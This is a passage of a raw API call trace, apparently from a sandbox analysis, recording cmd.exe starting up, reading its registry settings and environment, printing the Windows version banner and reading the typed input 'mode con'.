lpData=0x217b1be630*=0x40, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x40, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegCloseKey (hKey=0x7c) returned 0x0 [0295.422] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x217b1be618 | out: phkResult=0x217b1be618*=0x7c) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x40, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x1, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x1, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x0, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x9, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x9, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x9, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegCloseKey (hKey=0x7c) returned 0x0 [0295.422] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca72ab8 [0295.422] srand (_Seed=0x5ca72ab8) [0295.422] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0295.422] malloc (_Size=0x4000) returned 0x21776fe54f0 [0295.423] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0295.423] malloc (_Size=0xffce) returned 0x21776ec0080 [0295.424] ??_V@YAXPEAX@Z () returned 0x21776ec0080 [0295.424] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21776ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0295.424] malloc (_Size=0xffce) returned 0x21776ed0060 [0295.424] ??_V@YAXPEAX@Z () returned 0x21776ed0060 [0295.425] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21776ed0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0295.425] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0295.426] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0295.426] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0295.426] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0295.426] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0295.426] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0295.426] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0295.426] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0295.426] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0295.426] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0295.426] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0295.426] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0295.426] GetProcessHeap () returned 0x21776cf0000 [0295.426] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf64a0) returned 1 [0295.426] GetEnvironmentStringsW () returned 0x21776cf5a10* [0295.426] GetProcessHeap () returned 0x21776cf0000 [0295.426] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xa94) returned 0x21776cf7a10 [0295.427] FreeEnvironmentStringsA (penv="A") returned 1 [0295.427] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0295.427] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0295.427] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0295.427] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0295.427] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0295.427] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0295.427] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0295.427] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0295.427] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0295.427] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0295.427] malloc (_Size=0xffce) returned 0x21776ee0040 [0295.427] ??_V@YAXPEAX@Z () returned 0x21776ee0040 [0295.428] GetProcessHeap () returned 0x21776cf0000 [0295.428] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x38) returned 0x21776cf84b0 [0295.428] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21776ee0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0295.428] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x21776ee0040, lpFilePart=0x217b1bf190 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x217b1bf190*="system32") returned 0x13 [0295.429] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0295.429] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x217b1beec0 | out: lpFindFileData=0x217b1beec0) returned 0x21776cf84f0 [0295.429] FindClose (in: hFindFile=0x21776cf84f0 | out: hFindFile=0x21776cf84f0) returned 1 [0295.430] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x217b1beec0 | out: lpFindFileData=0x217b1beec0) returned 0x21776cf84f0 [0295.430] FindClose (in: hFindFile=0x21776cf84f0 | out: hFindFile=0x21776cf84f0) returned 1 [0295.430] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0295.430] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0295.430] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0295.430] GetProcessHeap () returned 0x21776cf0000 [0295.430] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf7a10) returned 1 [0295.430] GetEnvironmentStringsW () returned 0x21776cf84f0* [0295.430] GetProcessHeap () returned 0x21776cf0000 [0295.430] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xac4) returned 0x21776cf5a10 [0295.430] FreeEnvironmentStringsA (penv="=") returned 1 [0295.430] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21776ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0295.430] GetProcessHeap () returned 0x21776cf0000 [0295.430] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf84b0) returned 1 [0295.430] ??_V@YAXPEAX@Z () returned 0x1 [0295.430] ??_V@YAXPEAX@Z () returned 0x1 [0295.430] GetProcessHeap () returned 0x21776cf0000 [0295.430] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x4016) returned 0x21776cf7a10 [0295.431] GetProcessHeap () returned 0x21776cf0000 [0295.431] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf7a10) returned 1 [0295.431] GetConsoleOutputCP () returned 0x1b5 [0296.473] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0296.473] GetUserDefaultLCID () returned 0x409 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff67d04bb78, cchData=8 | out: lpLCData=":") returned 2 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x217b1bf550, cchData=128 | out: lpLCData="0") returned 2 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x217b1bf550, cchData=128 | out: lpLCData="0") returned 2 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x217b1bf550, cchData=128 | out: lpLCData="1") returned 2 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff67d04bb68, cchData=8 | out: lpLCData="/") returned 2 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff67d04bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff67d04bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff67d04ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff67d04ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff67d04ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff67d04b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0296.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff67d04b980, cchData=32 | out: lpLCData="Sun") returned 4 [0296.474] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff67d04bb58, cchData=8 | out: lpLCData=".") returned 2 [0296.474] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff67d04bb40, cchData=8 | out: lpLCData=",") returned 2 [0296.474] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0296.475] GetProcessHeap () returned 0x21776cf0000 [0296.476] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x0, Size=0x20c) returned 0x21776cf6550 [0296.476] GetConsoleTitleW (in: lpConsoleTitle=0x21776cf6550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0297.897] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.897] GetFileType (hFile=0x24c) returned 0x3 [0297.897] ApiSetQueryApiSetPresence () returned 0x0 [0297.897] ResolveDelayLoadedAPI () returned 0x7ffebb73d990 [0297.908] BrandingFormatString () returned 0x21776cf6c20 [0297.916] GetVersion () returned 0x3ad7000a [0297.916] _vsnwprintf (in: _Buffer=0x217b1bf6b0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x217b1bf648 | out: _Buffer="10.0.15063") returned 10 [0297.916] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.916] GetFileType (hFile=0x24c) returned 0x3 [0297.916] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0297.917] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x217b1bf650 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0297.917] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0297.917] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x217b1bf5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf5a8*=0x26, lpOverlapped=0x0) returned 1 [0297.917] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x217b1bf678 | out: _Buffer="\r\n") returned 2 [0297.917] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.917] GetFileType (hFile=0x24c) returned 0x3 [0297.917] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0297.917] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x217b1bf648, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf648*=0x2, lpOverlapped=0x0) returned 1 [0297.917] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x217b1bf678 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0297.917] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.917] GetFileType (hFile=0x24c) returned 0x3 [0297.917] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.917] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0297.917] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x217b1bf648, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf648*=0x34, lpOverlapped=0x0) returned 1 [0297.918] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x217b1bf678 | out: _Buffer="\r\n") returned 2 [0297.918] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.918] GetFileType (hFile=0x24c) returned 0x3 [0297.918] _get_osfhandle (_FileHandle=1) returned 0x24c [0297.918] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0297.918] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x217b1bf648, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf648*=0x2, lpOverlapped=0x0) returned 1 [0297.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffec1940000 [0297.918] GetProcAddress (hModule=0x7ffec1940000, lpProcName="CopyFileExW") returned 0x7ffec195e830 [0297.918] GetProcAddress (hModule=0x7ffec1940000, lpProcName="IsDebuggerPresent") returned 0x7ffec195e300 [0297.918] GetProcAddress (hModule=0x7ffec1940000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffec08e0a40 [0297.918] ??_V@YAXPEAX@Z () returned 0x1 [0297.919] _get_osfhandle (_FileHandle=0) returned 0x240 [0297.919] GetFileType (hFile=0x240) returned 0x3 [0297.919] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0297.919] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x217b1bf4b8 | out: TokenHandle=0x217b1bf4b8*=0x0) returned 0xc000007c [0297.919] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x217b1bf4b8 | out: TokenHandle=0x217b1bf4b8*=0x94) returned 0x0 [0297.919] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x217b1bf468, TokenInformationLength=0x4, ReturnLength=0x217b1bf470 | out: TokenInformation=0x217b1bf468, ReturnLength=0x217b1bf470) returned 0x0 [0297.919] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x217b1bf470, TokenInformationLength=0x4, ReturnLength=0x217b1bf468 | out: TokenInformation=0x217b1bf470, ReturnLength=0x217b1bf468) returned 0x0 [0297.919] NtClose (Handle=0x94) returned 0x0 [0297.919] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x217b1bf480, nSize=0x0, Arguments=0x217b1bf488 | out: lpBuffer="渰盏ȗ") returned 0xf [0297.919] GetProcessHeap () returned 0x21776cf0000 [0297.919] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x218) returned 0x21776cf8bb0 [0297.919] GetConsoleTitleW (in: lpConsoleTitle=0x217b1bf4d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0299.071] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0299.071] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0299.868] GetProcessHeap () returned 0x21776cf0000 [0299.868] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf8bb0) returned 1 [0299.868] LocalFree (hMem=0x21776cf6e30) returned 0x0 [0299.869] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x217b1bf2f8 | out: _Buffer="\r\n") returned 2 [0299.869] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.869] GetFileType (hFile=0x24c) returned 0x3 [0299.869] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0299.869] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x217b1bf2c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf2c8*=0x2, lpOverlapped=0x0) returned 1 [0299.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0299.869] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21776ec0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0299.869] malloc (_Size=0x107ce) returned 0x21776ed0060 [0299.869] _vsnwprintf (in: _Buffer=0x21776ed0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x217b1bf308 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0299.869] _vsnwprintf (in: _Buffer=0x21776ed0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x217b1bf308 | out: _Buffer=">") returned 1 [0299.869] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.869] GetFileType (hFile=0x24c) returned 0x3 [0299.869] _get_osfhandle (_FileHandle=1) returned 0x24c [0299.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0299.869] WriteFile (in: hFile=0x24c, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x217b1bf2f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0x217b1bf2f8*=0x14, lpOverlapped=0x0) returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] GetFileType (hFile=0x240) returned 0x3 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.870] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.870] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0299.870] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0299.871] _get_osfhandle (_FileHandle=0) returned 0x240 [0299.871] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.871] ReadFile (in: hFile=0x240, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x217b1bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0x217b1bf658*=0x1, lpOverlapped=0x0) returned 1 [0299.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0299.871] _get_osfhandle 